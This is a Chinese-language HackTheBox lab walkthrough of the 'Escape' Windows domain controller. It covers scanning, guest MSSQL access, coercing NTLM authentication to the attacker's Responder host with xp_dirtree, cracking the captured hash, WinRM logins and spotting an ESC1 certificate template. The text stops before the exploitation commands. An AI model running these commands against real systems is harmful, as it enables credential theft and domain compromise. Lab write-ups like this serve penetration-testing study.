HTB之Escape Walkthrough

前言

  • 针对实验靶机完成渗透操作,主要涉及:

    1. SMB服务
    2. MSSQL渗透
    3. AD CS 域提权之错误配置的证书模板(ESC1)

部署

  • target machine : 10.10.11.202

  • attack machine : 10.10.16.8 (本机kali连接openVPN)

Nmap 扫描

┌──(kali㉿kali)-[~/桌面/HTB/Escape]
└─$ mkdir nmapscan
                                                                        
┌──(kali㉿kali)-[~/桌面/HTB/Escape]
└─$ sudo nmap -sT --min-rate 10000 -p- 10.10.11.202 -oA nmapscan/ports
···
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49683/tcp open  unknown
49684/tcp open  unknown
49696/tcp open  unknown
49757/tcp open  unknown
49797/tcp open  unknown
···

┌──(kali㉿kali)-[~/桌面/HTB/Escape]
└─$ grep open nmapscan/ports.nmap | cut -d '/' -f 1 | paste -sd ','
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49683,49684,49696,49757,49797

┌──(kali㉿kali)-[~/桌面/HTB/Escape]
└─$ sudo nmap -sT -sC -sV -O -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49683,49684,49696,49757,49797 -Pn 10.10.11.202 -oA nmapscan/detail
···
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-02-21 21:19:57Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
|_ssl-date: 2024-02-21T21:21:50+00:00; +8h00m01s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-02-21T21:21:49+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2024-02-21T21:21:50+00:00; +8h00m00s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-02-21T06:08:46
|_Not valid after:  2054-02-21T06:08:46
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-02-21T21:21:49+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-02-21T21:21:49+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49757/tcp open  msrpc         Microsoft Windows RPC
49797/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
| smb2-time: 
|   date: 2024-02-21T21:21:09
|_  start_date: N/A
···

┌──(kali㉿kali)-[~/桌面/HTB/Escape]
└─$ sudo nmap -sU -open --top-ports 20 10.10.11.202 -oA nmapscan/udp
···
PORT      STATE         SERVICE
53/udp    open          domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open          ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown
···

┌──(kali㉿kali)-[~/桌面/HTB/Escape]
└─$ sudo nmap --script=vuln -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49683,49684,49696,49757,49797 10.10.11.202 -oA nmapscan/vuln
···
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
|_tls-ticketbleed: ERROR: Script execution failed (use -d to debug)
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49683/tcp open  unknown
49684/tcp open  unknown
49696/tcp open  unknown
49757/tcp open  unknown
49797/tcp open  unknown

Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
···
  • 将域名sequel.htb和域控dc.sequel.htb加入本地host:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ sudo vim /etc/hosts
                                                                                
      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ cat /etc/hosts
      ···
      10.10.11.202	sequel.htb dc.sequel.htb
    

LDAP

  • 查询域控制器所属的域:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ ldapsearch -x -H ldap://10.10.11.202 -s base namingcontexts
      # extended LDIF
      #
      # LDAPv3
      # base <> (default) with scope baseObject
      # filter: (objectclass=*)
      # requesting: namingcontexts 
      #
    
      #
      dn:
      namingcontexts: DC=sequel,DC=htb
      namingcontexts: CN=Configuration,DC=sequel,DC=htb
      namingcontexts: CN=Schema,CN=Configuration,DC=sequel,DC=htb
      namingcontexts: DC=DomainDnsZones,DC=sequel,DC=htb
      namingcontexts: DC=ForestDnsZones,DC=sequel,DC=htb
    
      # search result
      search: 2
      result: 0 Success
    
      # numResponses: 2
      # numEntries: 1
    
  • 是否允许匿名绑定:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ ldapsearch -x -H ldap://10.10.11.202 -D '' -w '' -b 'DC=sequel,DC=htb'
      # extended LDIF
      #
      # LDAPv3
      # base <DC=sequel,DC=htb> with scope subtree
      # filter: (objectclass=*)
      # requesting: ALL
      #
    
      # search result
      search: 2
      result: 1 Operations error
      text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
      tion a successful bind must be completed on the connection., data 0, v4563
    
      # numResponses: 1
    
    • 不允许匿名绑定

SMB服务

  • 列出所有资源:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ smbclient -N -L \\10.10.11.202
    
          Sharename       Type      Comment
          ---------       ----      -------
          ADMIN$          Disk      Remote Admin
          C$              Disk      Default share
          IPC$            IPC       Remote IPC
          NETLOGON        Disk      Logon server share 
          Public          Disk      
          SYSVOL          Disk      Logon server share 
      Reconnecting with SMB1 for workgroup listing.
      do_connect: Connection to 10.10.11.202 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
      Unable to connect with SMB1 -- no workgroup available
    
  • 查看Public并获取文件:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ smbclient \\\\10.10.11.202\\Public
      Password for [WORKGROUP\kali]:
      Try "help" to get a list of possible commands.
      smb: \> ls
      .                                   D        0  Sat Nov 19 19:51:25 2022
      ..                                  D        0  Sat Nov 19 19:51:25 2022
      SQL Server Procedures.pdf           A    49551  Fri Nov 18 21:39:43 2022
    
              5184255 blocks of size 4096. 1444567 blocks available
      smb: \> get SQL Server Procedures.pdf
      NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \SQL
      smb: \> get "SQL Server Procedures.pdf"
      getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (12.4 KiloBytes/sec) (average 12.4 KiloBytes/sec)
      ···
    

    • MSSQL数据库公共用户PublicUser密码为GuestUserCantWrite1

        ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
        └─$ crackmapexec smb 10.10.11.202 -u PublicUser -p GuestUserCantWrite1                                                
        /usr/lib/python3/dist-packages/pywerview/requester.py:144: SyntaxWarning: "is not" with a literal. Did you mean "!="?
        if result['type'] is not 'searchResEntry':
        SMB         10.10.11.202    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
        SMB         10.10.11.202    445    DC               [+] sequel.htb\PublicUser:GuestUserCantWrite1 
      

MSSQL渗透

  • 采用sqsh连接MSSQL:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ sqsh -U PublicUser -P GuestUserCantWrite1 -S 10.10.11.202
    
      sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
      Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
      This is free software with ABSOLUTELY NO WARRANTY
      For more information type '\warranty'
      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ sqsh -U PublicUser -P GuestUserCantWrite1 -S 10.10.11.202
      sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
      Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
      This is free software with ABSOLUTELY NO WARRANTY
      For more information type '\warranty'
      1> select 1;
      2> go
                    
      -----------
              1
    
      (1 row affected)
      1> 
    
  • 进行常见的枚举,未发现有用的信息:

      1> select @@version;
      2> go
      ···
          Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
          Sep 24 2019 13:48:23 
          Copyright (C) 2019 Microsoft Corporation
          Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
    
      1> select user_name();
      2> go
      ···
          guest  
    
      1> SELECT name FROM master.dbo.sysdatabases;
      2> go
      ···
          master  
          tempdb
          model   
          msdb                                                                      
    
    • 查询出MSSQL的四个默认数据库
  • 为了能够执行OS命令,不仅需要启用xp_cmdshell,而且需要在xp_cmdshell存储过程中具有EXECUTE权限。

    • 通过xp_cmdshell快速检查服务帐号是什么:

        1> xp_cmdshell whoami;
        2> go
        Msg 229, Level 14, State 5
        Server 'DC\SQLMOCK', Procedure 'xp_cmdshell', Line 1
        The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
        ···
      
      • 无法使用xp_cmdshell
    • 打开高级选项,配置 xp_cmdshell 时需要使用该选项:

        1> sp_configure 'show advanced options', '1'
        2> RECONFIGURE
        3> go
        Msg 15247, Level 16, State 1
        Server 'DC\SQLMOCK', Procedure 'sp_configure', Line 105
        User does not have permission to perform this action.
        (return status = 1)
        Msg 5812, Level 14, State 1
        Server 'DC\SQLMOCK', Line 2
        You do not have permission to run the RECONFIGURE statement.
      
      
      • 没有运行 RECONFIGURE 语句的权限
  • 为了获取MSSQL认证中使用的散列,这里采用中继攻击:

    • 启动Responder,作为根用户监听tun0的一系列服务:

        ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
        └─$ sudo responder -I tun0 -v                                
        [sudo] kali 的密码:
                                                __
        .----.-----.-----.-----.-----.-----.--|  |.-----.----.
        |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
        |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                        |__|
      
                NBT-NS, LLMNR & MDNS Responder 3.1.3.0
      
        To support this project:
        Patreon -> https://www.patreon.com/PythonResponder
        Paypal  -> https://paypal.me/PythonResponder
      
        Author: Laurent Gaffie (laurent.gaffie@gmail.com)
        To kill this script hit CTRL-C
      
      
        [+] Poisoners:
            LLMNR                      [ON]
            NBT-NS                     [ON]
            MDNS                       [ON]
            DNS                        [ON]
            DHCP                       [OFF]
      
        [+] Servers:
            HTTP server                [ON]
            HTTPS server               [ON]
            WPAD proxy                 [OFF]
            Auth proxy                 [OFF]
            SMB server                 [ON]
            Kerberos server            [ON]
            SQL server                 [ON]
            FTP server                 [ON]
            IMAP server                [ON]
            POP3 server                [ON]
            SMTP server                [ON]
            DNS server                 [ON]
            LDAP server                [ON]
            RDP server                 [ON]
            DCE-RPC server             [ON]
            WinRM server               [ON]
      
        [+] HTTP Options:
            Always serving EXE         [OFF]
            Serving EXE                [OFF]
            Serving HTML               [OFF]
            Upstream Proxy             [OFF]
      
        [+] Poisoning Options:
            Analyze Mode               [OFF]
            Force WPAD auth            [OFF]
            Force Basic Auth           [OFF]
            Force LM downgrade         [OFF]
            Force ESS downgrade        [OFF]
      
        [+] Generic Options:
            Responder NIC              [tun0]
            Responder IP               [10.10.16.8]
            Responder IPv6             [dead:beef:4::1006]
            Challenge set              [random]
            Don't Respond To Names     ['ISATAP']
      
        [+] Current Session Variables:
            Responder Machine Name     [WIN-FHWX8OCF1NH]
            Responder Domain Name      [VW5K.LOCAL]
            Responder DCE-RPC Port     [46118]
      
        [+] Listening for events...
      
    • 告诉MSSQL读取主机上共享的文件:

        1> xp_dirtree '\\10.10.16.8\share';
        2> go
      
            subdirectory                                                                                                                      
            depth      
        ···
      
    • Responder中获取了用户账户sql_svcNetNTLM哈希值。

        ···
        [SMB] NTLMv2-SSP Client   : 10.10.11.202
        [SMB] NTLMv2-SSP Username : sequel\sql_svc
        [SMB] NTLMv2-SSP Hash     : sql_svc::sequel:b044d18c5f6b8c46:34F09A5E431B1DDB7005C25FE1089CFE:010100000000000080176E7AB566DA01DF5430D9B977654D00000000020008005600570035004B0001001E00570049004E002D00460048005700580038004F004300460031004E00480004003400570049004E002D00460048005700580038004F004300460031004E0048002E005600570035004B002E004C004F00430041004C00030014005600570035004B002E004C004F00430041004C00050014005600570035004B002E004C004F00430041004C000700080080176E7AB566DA0106000400020000000800300030000000000000000000000000300000714ADEB0413AC43B50A1A7DEB03F88524437B02835D9A40E7B775AB52FC9D2AD0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0038000000000000000000
        ···
      
  • 将哈希值复制到名为sql_svc.hash的文件中,以便破解。

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ vim sql_svc.hash
                                                                        
      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ cat sql_svc.hash 
      sql_svc::sequel:f367c446c4d99e3f:31F0FF83C59686BF2792DD669F0670E5:0101000000000000801142B17F65DA015748E97ADF56857400000000020008004400300049005A0001001E00570049004E002D0043004B00520057004B00490057004800540048005A0004003400570049004E002D0043004B00520057004B00490057004800540048005A002E004400300049005A002E004C004F00430041004C00030014004400300049005A002E004C004F00430041004C00050014004400300049005A002E004C004F00430041004C0007000800801142B17F65DA0106000400020000000800300030000000000000000000000000300000EBD3A9C79B0087CBC42009C51592971CB07C1516D067A4A89D7F5845596525CD0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0038000000000000000000
    
    • hashcat进行解密:

        ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
        └─$ hashcat -m 5600 -a 0 sql_svc.hash /usr/share/wordlists/rockyou.txt    
        ···
        SQL_SVC::sequel:f367c446c4d99e3f:31f0ff83c59686bf2792dd669f0670e5:0101000000000000801142b17f65da015748e97adf56857400000000020008004400300049005a0001001e00570049004e002d0043004b00520057004b00490057004800540048005a0004003400570049004e002d0043004b00520057004b00490057004800540048005a002e004400300049005a002e004c004f00430041004c00030014004400300049005a002e004c004f00430041004c00050014004400300049005a002e004c004f00430041004c0007000800801142b17f65da0106000400020000000800300030000000000000000000000000300000ebd3a9c79b0087cbc42009c51592971cb07c1516d067a4a89d7f5845596525cd0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0038000000000000000000:REGGIE1234ronnie
        ···
      

WinRM

  • 利用evil-winrm获得sheLl并查找有用信息:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ evil-winrm -u SQL_SVC -p REGGIE1234ronnie -i 10.10.11.202
      ···
      *Evil-WinRM* PS C:\Users\sql_svc\Documents> dir
      *Evil-WinRM* PS C:\Users\sql_svc\Documents> cd ..
      *Evil-WinRM* PS C:\Users\sql_svc> dir
    
    
          Directory: C:\Users\sql_svc
    
    
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      d-r---         2/1/2023   1:55 PM                Desktop
      d-r---       11/18/2022   1:13 PM                Documents
      d-r---        9/15/2018  12:19 AM                Downloads
      d-r---        9/15/2018  12:19 AM                Favorites
      d-r---        9/15/2018  12:19 AM                Links
      d-r---        9/15/2018  12:19 AM                Music
      d-r---        9/15/2018  12:19 AM                Pictures
      d-----        9/15/2018  12:19 AM                Saved Games
      d-r---        9/15/2018  12:19 AM                Videos
    
    
      *Evil-WinRM* PS C:\Users\sql_svc> cd Desktop
      *Evil-WinRM* PS C:\Users\sql_svc\Desktop> dir
      *Evil-WinRM* PS C:\Users\sql_svc\Desktop> cd ../..
      *Evil-WinRM* PS C:\Users> dir
    
    
          Directory: C:\Users
    
    
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      d-----         2/7/2023   8:58 AM                Administrator
      d-r---        7/20/2021  12:23 PM                Public
      d-----         2/1/2023   6:37 PM                Ryan.Cooper
      d-----         2/7/2023   8:10 AM                sql_svc
    
    
      *Evil-WinRM* PS C:\Users> cd Ryan.Cooper
      *Evil-WinRM* PS C:\Users\Ryan.Cooper> dir
      Access to the path 'C:\Users\Ryan.Cooper' is denied.
      At line:1 char:1
      + dir
      + ~~~
          + CategoryInfo          : PermissionDenied: (C:\Users\Ryan.Cooper:String) [Get-ChildItem], UnauthorizedAccessException
          + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
      *Evil-WinRM* PS C:\Users\Ryan.Cooper> 
    
  • 发现关键用户Ryan.Cooper,但目前是SQL_SVC,并没有权限拿到user.txt

  • 再次深入查找,发现SQLServer的目录,查找信息:

      *Evil-WinRM* PS C:\Users\Ryan.Cooper> cd /
      *Evil-WinRM* PS C:\> dir
    
    
          Directory: C:\
    
    
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      d-----         2/1/2023   8:15 PM                PerfLogs
      d-r---         2/6/2023  12:08 PM                Program Files
      d-----       11/19/2022   3:51 AM                Program Files (x86)
      d-----       11/19/2022   3:51 AM                Public
      d-----         2/1/2023   1:02 PM                SQLServer
      d-r---         2/1/2023   1:55 PM                Users
      d-----         2/6/2023   7:21 AM                Windows
    
    
      *Evil-WinRM* PS C:\> cd SQLServer
      *Evil-WinRM* PS C:\SQLServer> dir
    
    
          Directory: C:\SQLServer
    
    
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      d-----         2/7/2023   8:06 AM                Logs
      d-----       11/18/2022   1:37 PM                SQLEXPR_2019
      -a----       11/18/2022   1:35 PM        6379936 sqlexpress.exe
      -a----       11/18/2022   1:36 PM      268090448 SQLEXPR_x64_ENU.exe
    
    
      *Evil-WinRM* PS C:\SQLServer> cd Logs
      *Evil-WinRM* PS C:\SQLServer\Logs> dir
    
    
          Directory: C:\SQLServer\Logs
    
    
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      -a----         2/7/2023   8:06 AM          27608 ERRORLOG.BAK
    
    
      *Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK
      ···
      2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
      2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
      2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
      ···
    
  • 发现Ryan.Cooper的密码可能是NuclearMosquito3,可能是用户输错了位置

  • 这些凭据对SMB和WinRM都是有效的:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ crackmapexec smb 10.10.11.202 -u sql_svc -p REGGIE1234ronnie
      /usr/lib/python3/dist-packages/pywerview/requester.py:144: SyntaxWarning: "is not" with a literal. Did you mean "!="?
      if result['type'] is not 'searchResEntry':
      SMB         10.10.11.202    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
      SMB         10.10.11.202    445    DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie 
    
      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ crackmapexec winrm 10.10.11.202 -u sql_svc -p REGGIE1234ronnie
      /usr/lib/python3/dist-packages/pywerview/requester.py:144: SyntaxWarning: "is not" with a literal. Did you mean "!="?
      if result['type'] is not 'searchResEntry':
      SMB         10.10.11.202    5985   DC               [*] Windows 10.0 Build 17763 (name:DC) (domain:sequel.htb)
      HTTP        10.10.11.202    5985   DC               [*] http://10.10.11.202:5985/wsman
      WINRM       10.10.11.202    5985   DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie (Pwn3d!)
    
  • 利用evil-winrm进行登录:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ evil-winrm -u Ryan.Cooper -p NuclearMosquito3 -i 10.10.11.202 
      ···
      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> cd ../desktop
      *Evil-WinRM* PS C:\Users\Ryan.Cooper\desktop> dir
    
    
          Directory: C:\Users\Ryan.Cooper\desktop
    
    
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      -ar---        2/22/2024   1:43 AM             34 user.txt
      ···
    

提权

Bloodhound

  • 上传SharpHound.exe并枚举AD信息:

      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
      ···
      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\SharpHound.exe --CollectionMethods All --Domain support.htb --ExcludeDCs
      ···
      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> dir
    
    
          Directory: C:\Users\Ryan.Cooper\Documents
    
    
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      -a----        2/22/2024  10:21 AM          11606 20240222102115_BloodHound.zip
      -a----        2/22/2024  10:21 AM           8395 NjQ0M2M1ZmEtNTkyNy00OWNjLWJmNzAtOWZiMzUxMzM4MmNj.bin
      -a----        2/22/2024   9:42 AM        1046528 SharpHound.exe
    
  • 将生成文件转到本地:

      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> download ./20240222102115_BloodHound.zip
      ···
    
  • 启动Bloodhound,分析AD信息:

      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ sudo neo4j console     
      ···
    
      ┌──(kali㉿kali)-[~/桌面/HTB/Escape]
      └─$ sudo bloodhound --no-sandbox      
      ···
    

    • 并未发现很好的提权路径

识别AD证书服务

  • 检查活动目录证书服务(ADCS)

      ┌──(kali㉿kali)-[~/Desktop/HTB]
      └─$ crackmapexec ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs
      ···
      SMB         10.10.11.202    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
      LDAPS       10.10.11.202    636    DC               [+] sequel.htb\ryan.cooper:NuclearMosquito3 
      ADCS                                                Found PKI Enrollment Server: dc.sequel.htb
      ADCS                                                Found CN: sequel-DC-CA
    
  • 上传Certify.exe

      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload Certify.exe
      ···
    
      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> dir
      ···
      Mode                LastWriteTime         Length Name
      ----                -------------         ------ ----
      -a----        2/22/2024  10:21 AM          11606 20240222102115_BloodHound.zip
      -a----        2/22/2024   5:06 PM         174080 Certify.exe
      -a----        2/22/2024  10:21 AM           8395 NjQ0M2M1ZmEtNTkyNy00OWNjLWJmNzAtOWZiMzUxMzM4MmNj.bin
      -a----        2/22/2024   9:42 AM        1046528 SharpHound.exe
    
  • 查找脆弱的证书模板:

      *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\Certify.exe find /vulnerable
    
      _____          _   _  __
      / ____|        | | (_)/ _|
      | |     ___ _ __| |_ _| |_ _   _
      | |    / _ \ '__| __| |  _| | | |
      | |___|  __/ |  | |_| | | | |_| |
      \_____\___|_|   \__|_|_|  \__, |
                                  __/ |
                                  |___./
      v1.0.0
    
      [*] Action: Find certificate templates
      [*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'
    
      [*] Listing info about the Enterprise CA 'sequel-DC-CA'
    
          Enterprise CA Name            : sequel-DC-CA
          DNS Hostname                  : dc.sequel.htb
          FullName                      : dc.sequel.htb\sequel-DC-CA
          Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
          Cert SubjectName              : CN=sequel-DC-CA, DC=sequel, DC=htb
          Cert Thumbprint               : A263EA89CAFE503BB33513E359747FD262F91A56
          Cert Serial                   : 1EF2FA9A7E6EADAD4F5382F4CE283101
          Cert Start Date               : 11/18/2022 12:58:46 PM
          Cert End Date                 : 11/18/2121 1:08:46 PM
          Cert Chain                    : CN=sequel-DC-CA,DC=sequel,DC=htb
          UserSpecifiedSAN              : Disabled
          CA Permissions                :
          Owner: BUILTIN\Administrators        S-1-5-32-544
    
          Access Rights                                     Principal
    
          Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
          Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
          Allow  ManageCA, ManageCertificates               sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
          Allow  ManageCA, ManageCertificates               sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
          Enrollment Agent Restrictions : None
    
      [!] Vulnerable Certificates Templates :
    
          CA Name                               : dc.sequel.htb\sequel-DC-CA
          Template Name                         : UserAuthentication
          Schema Version                        : 2
          Validity Period                       : 10 years
          Renewal Period                        : 6 weeks
          msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
          mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
          Authorized Signatures Required        : 0
          pkiextendedkeyusage                   : Client Authentication, Encrypting File System, Secure Email
          mspki-certificate-application-policy  : Client Authentication, Encrypting File System, Secure Email
          Permissions
          Enrollment Permissions
              Enrollment Rights           : sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                          sequel\Domain Users           S-1-5-21-4078382237-1492182817-2568127209-513
                                          sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
          Object Control Permissions
              Owner                       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
              WriteOwner Principals       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                          sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                          sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
              WriteDacl Principals        : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                          sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                          sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
              WriteProperty Principals    : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                          sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                          sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
    
    
  • msPKI-Certificate-Name-Flag 的存在和 ENROLLEE_SUPPLIES_OBJECT 的包含使模板容易受到ESC1场景的攻击.这意味着任何人都可以注册模板并指定他们选择的Subject Alternative Name,从而可能允许他们通过这个漏洞攻击作为域管理员进行身份验证.

  • 滥用这个漏洞来冒充管理员,可以运行:

